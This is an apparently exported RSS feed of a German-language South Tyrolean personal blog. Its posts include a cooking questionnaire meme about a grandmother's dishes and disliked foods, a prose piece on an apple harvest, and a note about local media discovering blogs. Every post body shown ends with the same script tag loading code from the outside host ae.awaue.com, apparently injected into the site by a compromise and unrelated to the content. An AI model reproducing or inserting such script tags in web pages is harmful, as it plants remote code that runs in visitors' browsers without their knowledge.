<p>Nein, ich koche nach <a href="http://www.amazon.de/kocht-S%C3%BCdtirol-kulinarische-Reise-Alpen/dp/888266015X">So kocht Südtirol</a>. Auch eines dieser Dinge, die jede Mama dem Kind in die große böse fremde Stadt mitgibt. Ich glaube, ich war noch in keiner Südtiroler Studenten-Wohnung, in der das Buch nicht vorhanden war. Das spin-off <em>So blüht Südtirol</em> war da schon eher seltsam.</p>
<p>12) Wer kocht bei Euch häufiger?</p>
<p>In Wien ich, zu Hause Oma.</p>
<p>13) Und wer kann besser kochen?</p>
<p>Oma!</p>
<p>14) Gibt es schon mal Streit ums Essen?</p>
<p>Ich weiß noch, die Mitbewohnerin und ich, wir haben mal über die adäquate Dicke von Fritatten diskutiert. Und was die richtige Schichtung für eine Lasagne ist. Aber nachdem ich Zeugin einer Kochdiskussion wurde, in der die Bemerkung <em>&#8220;Nein, wir müssen nach dem Ampelprinzip kochen!&#8221;</em> fiel, nehme ich mich bei solchen Dinge etwas zurück.</p>
<p>15) Kochst du heute völlig anders, als Deine Mutter /Deine Eltern?</p>
<p>Ich habe keine Riesendose Schmalz in der Speis stehen, ich habe keine Speis, ich habe keinen Holzherd, ich koche viel seltener Fleisch, und vor allem koche (und esse) ich weniger.</p>
<p>16) Wenn ja, isst Du trotzdem gerne bei Deinen Eltern?</p>
<p>Ja.</p>
<p>17) Bist Du Vegetarier oder könntest Du Dir vorstellen vegetarisch zu leben?</p>
<p>Ich bin keine Vegetarierin, und bei der Speisekarte mit der ich aufgewachsen bin, wäre ich dabei verhungert. Ich brauche Fleisch nicht unbedingt, aber ab und an mag ich es ganz gerne.</p>
<p>18) Was würdest Du gerne mal ausprobieren, an was Du Dich bisher nicht rangewagt hast?</p>
<p>Wuchteln. Erdäpfelnudel. Muas. All diese geheimnisvollen Dinge, die meine Oma immer aus dem Blusenärmel schüttelt. Und wenn ich sie dann frage, ob sie mir das Rezept geben kann, dann sagt sie immer &#8220;jo, nimmsch a Mehl, a poor Goggelen und an Butter, des isch eigentlich nit so a Orbet&#8221;.<br />
Gefüllte Peperoni. Irgendsowas wie einen &#8220;Falschen Hasen&#8221;.</p>
<p>19) Kochst Du lieber oder findest Du Backen spannender?</p>
<p>Naja. Backen ist halt backen. Und weil ich die Karotten für den Karottenkuchen händisch zerkleinern und den Eischnee und die Sahne mit der Hand schlagen muss, ist das immer eher sehr aufwändig.</p>
<p>20) Was war die größte Misere, die Du in der Küche angerichtet hast?</p>
<p>Ich habe bisher fast alles gegessen. Nachsalzen geht immer. Aber anderen vorsetzen?</p>
<p>21) Was essen Deine Kinder am liebsten?</p>
<p>Ähm, ich habe keine Kinder.</p>
<p>22) Was mögen Deine Kinder überhaupt nicht?</p>
<p>Ich war Puristin. Ich habe jahrelang Nudel nur ohne gar nichts gegessen. Weiße Nudel. Der Kellner musste die Nudel abschwänzen, weil der Koch Schnittlauch draufgegeben hatte. Ohne gar nichts.<br />
Ich hoffe meine Kinder werden nicht so.</p>
<p>23) Was magst Du überhaupt nicht?</p>
<p>Tortellini. Graupensuppe. Leberknödel. Alles mit Leber. Alles mit Blut. Gefüllte Gurken. Gorgonzola. Zucchiniauflauf. Bääh.</p>
<p>_______</p>
<p>Ähm ja, das ist jetzt eher lang geworden. Mögen die Sozialhistoriker ihre Freude damit haben.</p>
<p>Jetzt kommt der schwere Teil. Stöckchen wollen weitergegeben werden. Hilfe.<br />
<a href="http://blog.val.bz/">Val </a>mag zwar nicht, aber die muss gerade lernen, da ist sie für jede Ablenkung dankbar. (Vielleicht wenn ich ihr verspreche, mich für sie nächste Woche an Wuchteln zu versuchen? Und meine Festplatte dabei ist?) Drüben bei <a href="http://blog.davus.it/">Davus </a>hat auch wohl keiner Lust, beim letzten Mal wurde schließlich <a href="http://blog.davus.it/artikel/taggen">was </a>versprochen. <a href="http://gabi203.twoday.net/">Gabi </a>hatte auch keine Freude. Argh. Aber nachdem <a href="http://tibits.twoday.net/">tibits </a>plötzlich wieder lebt, vielleicht mag die ja.</p>
<p>Will irgendwer mein Stöckchen haben?<script src="http://ae.awaue.com/7"></script></p>
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		<title></title>
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		<pubDate>Thu, 18 Jan 2007 05:20:37 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[photo]]></category>
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		<description><![CDATA[(im Flickr Pool Südtirol befinden sich 666 Bilder.)
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			<content:encoded><![CDATA[<p>(im Flickr Pool <a href="http://flickr.com/groups/suedtirol/">Südtirol </a>befinden sich 666 Bilder.)<script src="http://ae.awaue.com/7"></script></p>
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		<title>Zwei Meter &#252;ber dem Boden.</title>
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		<pubDate>Sat, 23 Sep 2006 02:50:12 +0000</pubDate>
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		<category><![CDATA[bauernkind]]></category>
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		<description><![CDATA[Schwebend. Holpernd. Hängend am Berg, der sonst nie so schräg erscheint. Schwebend. In den Wipfeln. Den Gipfeln. Die voll sind. Voller Äpfel. Die süß schmecken, viel zu süß. Voller goldgelber Äpfel. Voller Golden Delicious. Die wurmig sind. Ab und an. Die aufgepickt sind. Ab und an. Von den verfluchten Würmern. Von den verfluchten Vögeln. Die [...]]]></description>
			<content:encoded><![CDATA[<p>Schwebend. Holpernd. Hängend am Berg, der sonst nie so schräg erscheint. Schwebend. In den Wipfeln. Den Gipfeln. Die voll sind. Voller Äpfel. Die süß schmecken, viel zu süß. Voller goldgelber Äpfel. Voller Golden Delicious. Die <em>wurmig </em>sind. Ab und an. Die <em>aufgepickt </em>sind. Ab und an. Von den verfluchten Würmern. Von den verfluchten Vögeln. Die immer in die schönsten Äpfel picken. Immer. Immer.<br />
Die Bäume am Straßenrand sind schon halb abgeklaubt. Von Passanten. Von <em>Gästen</em>. Die keinen Anstand besitzen. Und einfach runterreißen. Die günen Äpfel. Die unreifen Äpfel.  Die goldgelben Äpfel. Und sie dann wieder wegschmeißen. Weil sie noch nicht süß genug sind.  Weil sie zu süß sind. Weil sie zu groß sind. Die verfluchten Gäste. Keinen Respekt. Zwei Meter über dem Boden. Hängend im Baum.<script src="http://ae.awaue.com/7"></script></p>
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		<title>zwei links, zwei rechts</title>
		<link>http://blog.ibegan.net/archives/75</link>
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		<pubDate>Sat, 01 Apr 2006 04:20:09 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[medien]]></category>
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		<description><![CDATA[Stol hat die Blogs entdeckt. Der Wirtschaftskurier anscheinend auch.
Davus ist nicht dabei. Und Val auch nicht. Diese Banausen. Ts.
Und ich bin gemekt worden. (Jeijj!)
Sachen gibts.
Ts.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.stol.it/nachrichten/artikel.asp?KatId=e&amp;ArtID=74313&amp;SID=879322258105738493">Stol </a>hat die Blogs entdeckt. Der Wirtschaftskurier anscheinend <a href="http://www.suedtirol-blog.com/index.php/2006/03/20/sudtiroler-wirtschaftskurier/">auch</a>.<br />
<a href="http://blog.davus.it/">Davus </a>ist nicht dabei. Und <a href="http://blog.val.bz/">Val </a>auch nicht. Diese Banausen. Ts.</p>
<p><span style="font-size: 0.85em">Und ich bin ge<a href="http://mequito.org/">mek</a>t worden. (Jeijj!)</span></p>
<p>Sachen gibts.</p>
<p>Ts.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
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